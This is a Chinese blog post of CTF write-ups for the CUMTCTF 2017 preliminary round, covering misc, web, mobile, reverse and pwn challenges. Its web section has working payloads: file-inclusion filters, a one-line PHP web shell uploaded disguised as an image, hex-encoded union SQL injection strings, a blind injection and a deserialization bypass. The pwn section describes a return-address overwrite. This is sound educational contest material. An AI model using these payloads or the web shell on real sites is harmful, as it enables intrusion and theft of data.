Sky's blog

CUMTCTF-初赛

字数统计: 4,849阅读时长: 21 min
2017/06/16 Share

0x00 Basic

签到题

根据题目,百度得知,使用本地hosts文件进行域名解析。(虽然用hosts翻过墙,但并不知道原来是这么一回事)
WIN10 hosts目录:C:\Windows\System32\drivers\etc

添加如上字段即可。再刷新DNS即可。

encode 10

1
CUMTCTF=~[];CUMTCTF={___:++CUMTCTF,$$$$:(![]+"")[CUMTCTF],__$:++CUMTCTF,$_$_:(![]+"")[CUMTCTF],_$_:++CUMTCTF,$_$$:({}+"")[CUMTCTF],$$_$:(CUMTCTF[CUMTCTF]+"")[CUMTCTF],_$$:++CUMTCTF,$$$_:(!""+"")[CUMTCTF],$__:++CUMTCTF,$_$:++CUMTCTF,$$__:({}+"")[CUMTCTF],$$_:++CUMTCTF,$$$:++CUMTCTF,$___:++CUMTCTF,$__$:++CUMTCTF};CUMTCTF.$_=(CUMTCTF.$_=CUMTCTF+"")[CUMTCTF.$_$]+(CUMTCTF._$=CUMTCTF.$_[CUMTCTF.__$])+(CUMTCTF.$$=(CUMTCTF.$+"")[CUMTCTF.__$])+((!CUMTCTF)+"")[CUMTCTF._$$]+(CUMTCTF.__=CUMTCTF.$_[CUMTCTF.$$_])+(CUMTCTF.$=(!""+"")[CUMTCTF.__$])+(CUMTCTF._=(!""+"")[CUMTCTF._$_])+CUMTCTF.$_[CUMTCTF.$_$]+CUMTCTF.__+CUMTCTF._$+CUMTCTF.$;CUMTCTF.$$=CUMTCTF.$+(!""+"")[CUMTCTF._$$]+CUMTCTF.__+CUMTCTF._+CUMTCTF.$+CUMTCTF.$$;CUMTCTF.$=(CUMTCTF.___)[CUMTCTF.$_][CUMTCTF.$_];CUMTCTF.$(CUMTCTF.$(CUMTCTF.$$+"\""+CUMTCTF.$_$_+(![]+"")[CUMTCTF._$_]+CUMTCTF.$$$_+"\\"+CUMTCTF.__$+CUMTCTF.$$_+CUMTCTF._$_+CUMTCTF.__+"(\\\""+CUMTCTF.$$$$+(![]+"")[CUMTCTF._$_]+CUMTCTF.$_$_+"\\"+CUMTCTF.__$+CUMTCTF.$__+CUMTCTF.$$$+"{\\"+CUMTCTF.__$+CUMTCTF.$_$+CUMTCTF._$_+"\\"+CUMTCTF.__$+CUMTCTF.$_$+CUMTCTF._$_+"_"+CUMTCTF._$$+"\\"+CUMTCTF.__$+CUMTCTF.__$+CUMTCTF.$$_+CUMTCTF.$$__+CUMTCTF.___+CUMTCTF.$$_$+CUMTCTF._$$+"_\\"+CUMTCTF.__$+CUMTCTF.$_$+CUMTCTF.__$+CUMTCTF.$_$+"_"+CUMTCTF.$$$$+CUMTCTF._+"\\"+CUMTCTF.__$+CUMTCTF.$_$+CUMTCTF.$$_+"}\\\"\\"+CUMTCTF.$__+CUMTCTF.___+")"+"\"")())();

分析只可能是jsp混淆或者jjencode/aaencode加密(不确定)。

这里是jjencode哦 —Appl3

使用chrome/firefox自带的控制台即可自动解密。

滑稽

下载并打开ppt文件。发现ppt只有一页,猜想flag被隐藏在图片背后。

但是ppt无法编辑,尝试启动编辑。发现有密码:
由于ppt格式类似于zip压缩包。更改文件后缀名,得到huaji.zip
在以上路径找到3张图片。分析知image3.png有问题。之后启动16进制文本编辑器。

由此得到密码,但是密码经过Base64加密(有2个等号的特征)。之后解密得真正的密码。

现在ppt可以编辑了,移动最上层的图片。可以发现flag。

Fast 30

进入网页之后发现要在两秒内提交key。
随后在消息头中找到flag,尝试提交后并不是答案。

又发现因为要在2s内提交,故编写python脚本如下,得到flag。

0x01MISC

LSB

由于题目提示了隐写的类型为LSB。故使用Stegsolve工具帮助分析。
由典型文件头,保存以上数据为png文件。
由此得到一个二维码。

扫描该二维码即可得到flag。

视而不见

由题目知是一张3D图片。Flag隐藏在图片中。开始尝试用photoshop分析,但是失败了。之后用StegSolve打开,选择Stereogram Solver。

最终找到flag。

鲨鱼的套路

用wireshark打开后,根据hint查看TCP流。

找到如下信息。

1
UEsDBBQAAAgIANeFfErNFL6kGwAAABsAAAAcAAAAaGludF9zb21lIF90aGluZ19pc19mYWtlLnR4dEvLSUyvTs5IzUuPL87IjC9JzI/PKQUyU/NqAVBLAQI/ABQACQAIANeFfErNFL6kGwAAABsAAAAcACQAAAAAAAAAIAAAAAAAAABoaW50X3NvbWUgX3RoaW5nX2lzX2Zha2UudHh0CgAgAAAAAAABABgAu7Ux1J+n0gGhDeAnl6fSAaEN4CeXp9IBUEsFBgAAAAABAAEAbgAAAFUAAAAAAA==

分析知是base64加密,对其解码成十六进制得到。

1
50 4b 03 04 14 00 00 08 08 00 d7 85 7c 4a cd 14 be a4 1b 00 00 00 1b 00 00 00 1c 00 00 00 68 69 6e 74 5f 73 6f 6d 65 20 5f 74 68 69 6e 67 5f 69 73 5f 66 61 6b 65 2e 74 78 74 4b cb 49 4c af 4e ce 48 cd 4b 8f 2f ce c8 8c 2f 49 cc 8f cf 29 05 32 53 f3 6a 01 50 4b 01 02 3f 00 14 00 09 00 08 00 d7 85 7c 4a cd 14 be a4 1b 00 00 00 1b 00 00 00 1c 00 24 00 00 00 00 00 00 00 20 00 00 00 00 00 00 00 68 69 6e 74 5f 73 6f 6d 65 20 5f 74 68 69 6e 67 5f 69 73 5f 66 61 6b 65 2e 74 78 74 0a 00 20 00 00 00 00 00 01 00 18 00 bb b5 31 d4 9f a7 d2 01 a1 0d e0 27 97 a7 d2 01 a1 0d e0 27 97 a7 d2 01 50 4b 05 06 00 00 00 00 01 00 01 00 6e 0。0 00 00 55 00 00 00 00 00

由文件头知是明显的zip压缩包格式。保存为zip格式,尝试打开包。发现有密码。打开16进制文本编辑器。

其中发现存在伪加密,将光标处的9改成0保存,打开即得到flag。

easy crypto

打开文件后发现两个txt。

两个都打开后,发现morse.txt中明显是摩斯电码。随后解码如图。

Key is vigenerecipher意为维吉尼亚,即知道flag是维吉尼亚密码加密。

解密便得到flag。

学姐真美

开始并没有什么思路,之后放出hint :图片中存在另外一张png图片。随后打开16进制文本编辑器。

发现在图片最后,即0xffd9之后,出现了典型的png文件头格式(被修改了部分)。

搜索资料得知(上图为正确的png格式文件头)。
由此将0xffd9之后的数据分离出来。修改部分文件头,得到一个png图片。

发现是一个不完整的图片,猜测是二维码。根据提示,再次对照png文件头,可能是认为修改了图片长宽导致显示不正确。

再次查找资料,手动修改文件头。0x10开头为宽和高,因为是二维码,改成相同即可。

扫码即可得pass。

0X02WEB

源代码

查看源代码最后一行,把文字删除即是flag。

请多多“包含”!

打开后发现file=page,明显的文件包含题。

查看想要看的代码file=php://filter/read=convert.base64-encode/resource=index.php

注解:
1.php://filter/可用于处理打开的数据流,起到过滤作用。如果源文件为.php则很有可能在前台显示不出来。
2.此时我们采用的方法是,先让文件转化为base64格式(convert.base64-encode)然后再输出,这样不论是什么格式的文件都可以在前台输出。
输入后将Base64解码得到flag.

世界上最好的语言100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

//flag is in flag.php
Class Cumt
{
public $key='flag.php';
public function __construct(){

}
public function __wakeup(){
if (strpos($this->key,'flag')!==False) {
$this->key = '';
}
}
public function __destruct(){
if (isset($this->key)&&strpos($this->key,'..')==False&&strpos($this->key,'/')==False) {
echo file_get_contents($this->key);
}else{
die('nonono!!!');
}
}
}

if (isset($_GET['hash'])&&isset($_GET['key'])) {
$hash = $_GET['hash'];
$key = $_GET['key'];
if ($hash!=md5($key)) {
die('hhhhhhash wrong!!!');
}else{
unserialize($key);
}
}else{
highlight_file('./index.php');
}

Php代码审计。
要使输入的hash与key的md5解码相同,且存在unserialize反序列化,根据类构造实例。

但因为要绕过__wakeup(),所以百度后可知将
O:4:"Cumt":1:{s:3:"key";s:8:"flag.php";}
改成:
O:4:"Cumt":2:{s:3:"key";s:8:"flag.php";}
并与hash值一起提交,即可看到flag。

请再次“包含”!200

可能我太菜了= =这个题让我狂涨姿势,根据hint得知相关知识点是php伪协议
首先还是老套路,根据前一个多多包含1,可以知道能读文件,然后源代码说有upload.php这个文件,所以先去读一下源码,payload:
http://web100.bxsteam.xyz/index.php?file=php://filter/read=convert.base64-encode/resource=./upload
没发现什么奇葩的过滤,我就直接上传文件了,随便传了个试试,发现会自动加.png后缀名
本来这种上传题我的第一反应是中国菜刀= =后来根据Hint各方面,加上自己技术问题,并没成功,继续返回来学习php伪协议
后来发现了zip/phar伪协议可以包含文件
然后随便写了个php文件

1
2
3
<?php
$_GET['a']($_GET['b']);
?>

然后压缩,然后重命名为shell.png上传

然后就可以根据读文件用我们的shell了
构造payload:

看到了文件没,我们的Fl4gg.php
然后再读文件
构造payload:

解码,flag到手

简单的注入200

题目说简单的注入,你信吗= =入门赛这么难,我可能参加了个假赛)
根据Hint,得知是个二次注入(什么鬼,提示文章还要翻墙看)
(1)先猜第一个查询列数:
1’ order by 1#
得知第一个查询就1列;
(2)然后猜第二个查询列数:
1’ and false union select 0x 61616127206f72646572206279203323#
得知第二个查询有3列;
(3)然后爆库名:
1’ and false union select 0x 6161612720756e696f6e2073656c65637420312c322c534348454d415f4e414d452066726f6d20696e666f726d6174696f6e5f736368656d612e534348454d415441206c696d697420312c3123#
爆出库名info;
(4)然后爆表:
1’ and false union select 0x 6161612720756e696f6e2073656c65637420312c322c5441424c455f4e414d452066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d30783639366536363666206c696d697420312c3123a#
爆出表名:infocontent;
(5)然后爆字段
1’ and false union select 0x 6161612720756e696f6e2073656c65637420312c322c434f4c554d4e5f4e414d452066726f6d20696e666f726d6174696f6e5f736368656d612e434f4c554d4e53207768657265205441424c455f4e414d453d307836393665363636663633366636653734363536653734206c696d697420312c3123#
爆出字段名:content;
大功告成,然后直接union select content from infocontent即可
1’ and false union select 0x 6161612720756e696f6e2073656c65637420312c322c636f6e74656e742066726f6d20696e666f636f6e74656e74206c696d697420342c3123#
Flag到手
(这些16进制是什么,自行百度搜转字符串工具,过程远比这个多,毕竟我试了一堆表名啊,段名啊,反正这个题差点给我写崩溃,疯狂转16进制,转字符串,转来转去很烦有没有= =大佬虐待苦逼的小萌新)

到此,web的wp大功告成= =,说实话,最后被实在没体力去挑战最后一个Web题了,留到以后研究吧hhhhhhhh

有点难的注入

(1)先试着登录一下,用了一个简单的注入
admin’ /*! or */ ‘a’=’a
发现可以登录,得到一个信息:

(2)然后还是先爆出列数(不过这个就不用16进制啦,233333,轻松好多)
admin’ order by 2#
爆出列数为2
(3)接着开始构造union select查询
admin' /*!union*/ select 'sky','1' order by 2#

还是可以登录
(4)然后根据题目提示,第一列是username,第二列是password,然后是排序盲注,然后进行测试:
admin' /*!union*/ select 'sky','a' order by 2#

admin' /*!union*/ select 'sky','z' order by 2#

可见。如果第二列的值小于等于password,则返回正确的username,否则则是admin
故此可以根据这个一位一位试出password,脚本如下(原谅我脚本丢了,只有图片了= =):


我就不跑完了,运行即可跑出flag

0X03 MOBILE

Gift

由于是安卓题,使用androidkiller打开apk文件。但是并不懂smali语言(其实java也不懂)。
无奈下直接利用工具反汇编apk。在包中找到明码flag。

Register

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
package com.example.register;

import android.app.Activity;
import android.os.Bundle;
import android.text.Editable;
import android.view.Menu;
import android.view.MenuInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;

public class MainActivity extends Activity
{
private Button btn_register;
private EditText edit_sn;
private EditText edit_userName;

private boolean checkSN(String paramString1, String paramString2)
{
if (paramString1 != null)
try
{
if (paramString1.length() == 0)
return false;
if ((paramString2 != null) && (paramString2.length() == 16))
{
Object localObject = MessageDigest.getInstance("MD5");
((MessageDigest)localObject).reset();
((MessageDigest)localObject).update(paramString1.getBytes());
paramString1 = toHexString(((MessageDigest)localObject).digest(), "");
localObject = new StringBuilder();
int i = 0;
while (true)
{
if (i >= paramString1.length())
{
if (!((StringBuilder)localObject).toString().equalsIgnoreCase(paramString2))
break;
return true;
}
((StringBuilder)localObject).append(paramString1.charAt(i));
i += 2;
}
}
}
catch (NoSuchAlgorithmException paramString1)
{
paramString1.printStackTrace();
}
return false;
}

private static String toHexString(byte[] paramArrayOfByte, String paramString)
{
StringBuilder localStringBuilder = new StringBuilder();
int j = paramArrayOfByte.length;
int i = 0;
while (true)
{
if (i >= j)
return localStringBuilder.toString();
String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);
if (str.length() == 1)
localStringBuilder.append('0');
localStringBuilder.append(str).append(paramString);
i += 1;
}
}

public void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2130903040);
setTitle(2131034121);
this.edit_userName = ((EditText)findViewById(2131230721));
this.edit_sn = ((EditText)findViewById(2131230722));
this.btn_register = ((Button)findViewById(2131230723));
this.btn_register.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
if (!MainActivity.this.checkSN(MainActivity.this.edit_userName.getText().toString().trim(), MainActivity.this.edit_sn.getText().toString().trim()))
{
Toast.makeText(MainActivity.this, 2131034123, 0).show();
return;
}
Toast.makeText(MainActivity.this, 2131034124, 0).show();
MainActivity.this.btn_register.setEnabled(false);
MainActivity.this.setTitle(2131034122);
}
});
}

public boolean onCreateOptionsMenu(Menu paramMenu)
{
getMenuInflater().inflate(2131165184, paramMenu);
return true;
}
}

分析代码逻辑,写的是个注册机,熟悉安卓开发的同学们应该知道,最后flag通过R来索引,所以直接去strings.xml是最快的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<resources>
<string name="app_name">Register</string>
<string name="menu_settings">Settings</string>
<string name="title_activity_main">Register</string>
<string name="info">注册程序获取FLAG</string>
<string name="username">用户名:</string>
<string name="sn">注册码:</string>
<string name="register">注 册</string>
<string name="hint_username">请输入用户名</string>
<string name="hint_sn">请输入16位的注册码</string>
<string name="unregister">程序未注册</string>
<string name="registered">程序已注册</string>
<string name="unsuccessed">无效用户名或注册码</string>
<string name="successed">flag{G00D_YOU_HVCK_IT}</string>
</resources>

Hide&Seek

开始并没有什么头绪,直到给出hint,运用了最基础的图片隐写。便直接分析apk包中的图片。

发现这样两个图片,为logo,纯粹猜测logo_.png有问题(因为打不开)。
用16进制文本编辑器分析,在最后一行出现异常:
尝试以flag{0HY0VFINDM3}进行提交,成功。。。

Hook&Crack

这个题目在比赛的时候没有同学做出来,但是在出题人看来,这个题目却有好几种解决方法:hook函数或者直接把关键算法粘贴出来跑一遍~所以暂时不放wp了

0X04Reverse

Easy_CrackMe

把程序下载下后,从初次运行可以看出是一个Win32 GUI平台。

拖进IDA中查看,主函数(入口地址)如图:
左侧可以看到很多函数,但看到主函数只调用了DialogBoxParamA一个函数(参数如下)

1
2
3
4
5
6
7
DialogBoxParamA(创建窗口){
hInstance是当前应用程序的实例句柄。
lpTemplateName是对话框的资源模板。
hWndParent是父窗口的句柄。
lpDialogFunc是对话框的消息处理函数。
dwInitParam是初始化参数。
}

可知,只有lpDialogFunc是消息处理函数,即输入对话框中的值(消息)只和该函数有关。

跟进DialogFunc,该函数只调用了sub_401080(地址为0x401080处的函数),再次跟进。
第一部分:
首先调用了GetDigItemTextA的API函数(进行输入),注意传参顺序。Mirosoft采用stdcall即标准调用规则。参数由右向左依次push,显然IpString为输入的值(形参),即eax

而在push eax 之前 由lea指令取String变量的地址,所以String为输入值(实参),
再看变量的定义,可以发现有4个变量,图中表示距离某个基址(ebp)的偏移量,所以:String,var_63,var_62,分别为1,1,2个字节。

之后便是这句:cmp指令,比较前后两个值是否相等(简单理解就是var_63a是否相等),jnz表示若不相等则跳转道loc_4001135

不用说,看字符串就直到,incorrect,密码不对。所以var_63=a

第二部分:

显然是push3个参数后调用strcmp函数进行对比,比较长度2字节,这与上面推导的var_62有2字节相同,所以 var_62=5y(不然又会显示incorrect)。
第三部分:

又有明文出现,猜想又是比对。但之后汇编逻辑比较复杂,至此祭出F5神器。

显示了整个该函数的逻辑,其中关键的一句:

显然当所有条件满足的时候,调用messagebox函数(即输出对话框,显示congratulations)。
分析可知即字符串由a,5y,R3versing ,E构成,同时验证上述汇编级别的分析正确性。
对比这两部分。


根据偏移量可以得出 输入字符串由String+var_63+var_62+var_60组合而成,
将这几部分组合起来,即得到了Ea5yR3versing,即为flag。
Ps:不习惯汇编可以直接看F5反编译代码。

KeygenMe

运行知,本题为win32控制台程序,相对第一题没有众多apl函数,结构更清晰。
直接F5查看伪C代码,其中重要的逻辑为:

其中sub_4011B9显然是一个类似print的函数,那么第一部分:
先输入值到v9,再把v9经过异或运算后赋值给v13。

i>=3时候i=0就是i%3的运算,
但是v6+i表示的又是什么呢?
参看变量定义,可以知道v6,v7,v8为1个字节,v6+1即v7,v6+2即v8

所以得到:V13[i]=v9[i]^v6[i%3];
第二部分:再次输入一个变量的值。

下面就进行判断,如果v9和v13相等则输出congratulations,flag正确。

即V13[i]=v9[i]^v6[i%3] 和5B,13,49,77,13,5E,7D,13进行对比
所以将Serial转成十进制后,编写脚本(不会python,只能用c++)

为flag的十进制数字,再转成char即得到flag。

MAZE

根据下载的文件,打开分析,应该是用C++写的一个程序,找到主函数的入口。

在经过一些初始化后,发现主函数调用了2个重要的函数,于是跟进到f1。

显然该函数,使用rand()构造随机数,但是是伪随机数,每次生产的table都是一样的,从上述过程来看,hang+=15即代表table中的点往下移动一格,而lie++则表示table中的点往右边移动一格。table的大小为15*15。


第二部分:
接着跟进到f2函数,看起来运算比较复杂。又创建了一个desk,同样是15*15。
其实所有的类似于byte_404530的字节变量都是f1函数中的构造table中的每一个点。

一次循环创建5个点,lie+=5往右边移动5个点;hang+=15则是点往下移动一格。
得到的表如图所示:

之后主要在主函数中进行分析。

可以看到,v11为输入的值,v11+v6为输入的每一个值。
While循环确定的是当每一个值为0x49,即字符1的时候,++lie,即向右移动一格。
当值是0x50的时候,lie+=15,即向下移动一格。
注意看LABEL_9部分:每次处理完输入的值之后,将值赋给v7,而lie是从0开始的,也就是说v7变量表示的是走过的路径:
例如:

2112212112222221112112122111序列表示我输进去的值,而下面从0F开始的值,容易发现,从0F-E0,一共225,即一共走了225步,或者说从desk[0][f]-desk[e][0]

但其实入口地址还没有呈现,即迷宫的入口在哪里。
其实无论你输进去什么值,程序默认都会打印出走的路径,注意到:

第一部分都会输出00。下面的while循环就是在打印之后的路径,所以,迷宫入口即为desk[0][[0]。
这时候就会发现,为什么一个二维迷宫只有2个方向键控制,因为是从左上角到右下角。
根据给的路径,只需要往下和往右就行了。

由于行列大小不一样,看起来有点奇怪,不是正方形。(0为墙,1为路)。
最后将得到的路径MD5(32位)之后,改成大写即为flag。

0X05 PWN

盲打(笑)

根据题目在命令行中进行远程通信nc 202.119.201.199 28888
然后根据提示进行输入,当长度不够的或长度过长的时候都有提示。
当长度接近的时候慢慢试。。。
最后长度确定后,提示更改最后4个字节,猜想是flag,于是得到flag。
(赛后端口好像挂了,所以没有截图。)

Introductory Chapter

这道题给了文件,下载下来,发现是栈溢出,浏览程序,发现只要将eip调用到此处即可:

注意到一下几个步骤,所以buf的位置为rbp-30h,考虑到push rbp 产生的8个字节

,实际要覆盖rip需要38h个字节,首先,为避免栈的不平衡,先输入48个字节的值观察:


其中00007FFD0CF56050为保存的rbp值,00007FFD0CF56058为rip返回值,上图说明想法基本正确。下面考虑如何改变rip。

主要到00000000400716为获取flag的函数,根据小段格式,输入的值应该为:

\x16\x07\x40\x00\x00\x00\x00\x00
因此试用python写出脚本,即得flag。(第一次成功做出pwn >_<)

未完待续。。。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 0x00 Basic
    1. 1.1. 签到题
    2. 1.2. encode 10
    3. 1.3. 滑稽
    4. 1.4. Fast 30
  2. 2. 0x01MISC
    1. 2.1. LSB
    2. 2.2. 视而不见
    3. 2.3. 鲨鱼的套路
    4. 2.4. easy crypto
    5. 2.5. 学姐真美
  3. 3. 0X02WEB
    1. 3.1. 源代码
    2. 3.2. 请多多“包含”!
    3. 3.3. 世界上最好的语言100
    4. 3.4. 请再次“包含”!200
    5. 3.5. 简单的注入200
    6. 3.6. 有点难的注入
  4. 4. 0X03 MOBILE
    1. 4.1. Gift
    2. 4.2. Register
    3. 4.3. Hide&Seek
    4. 4.4. Hook&Crack
  5. 5. 0X04Reverse
    1. 5.1. Easy_CrackMe
    2. 5.2. KeygenMe
    3. 5.3. MAZE
  6. 6. 0X05 PWN
    1. 6.1. 盲打(笑)
    2. 6.2. Introductory Chapter